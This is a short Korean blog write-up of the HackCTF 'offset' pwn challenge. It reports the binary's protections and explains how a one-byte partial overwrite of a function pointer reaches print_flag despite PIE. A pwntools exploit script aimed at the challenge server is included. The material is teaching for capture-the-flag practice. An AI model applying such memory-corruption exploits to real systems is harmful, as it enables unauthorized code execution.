
[hackctf] offset
sangjun
·2021. 4. 18. 18:36
반응형
문제 소스
보호기법
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
문제 분석 및 페이로드
1. gets함수가 있으나 pie보호 기법이 걸려 ret over write를 해도 print_flag함수 호출 불가능
2. two함수와 print_flag주소가 인접함을 눈치챔
3. select_func함수에서 결론적으로 v3()를 호출하는데 dest변수에 strncpy를 해주기 때문에 v3변수의 하위 1바이트 변조가능
from pwn import *
context.log_level='debug'
#p=process('./offset')
dns,port="ctf.j0n9hyun.xyz",3007
p=remote(dns,port)
e=ELF("./offset")
pay='\xd8'*0x1f
p.recvline()
p.sendline(pay)
p.recvline()
p.recvline()
참고문헌 및 힘들었던 부분
1. 계속 ret over write시도함
--> pie보호 기법 체크하기 꼭꼭
반응형
'War Games > hack-ctf' 카테고리의 다른 글
[hackctf] Yes or no (0) | 2021.04.18 |
---|---|
[hackctf] BOF_PIE (0) | 2021.04.18 |
[hackctf] Simple_Overflow_ver_2 (0) | 2021.04.18 |
[hackctf] x64 Simple_size_BOF (0) | 2021.04.18 |
[hackctf] x64 Buffer Overflow (0) | 2021.04.18 |
0개의 댓글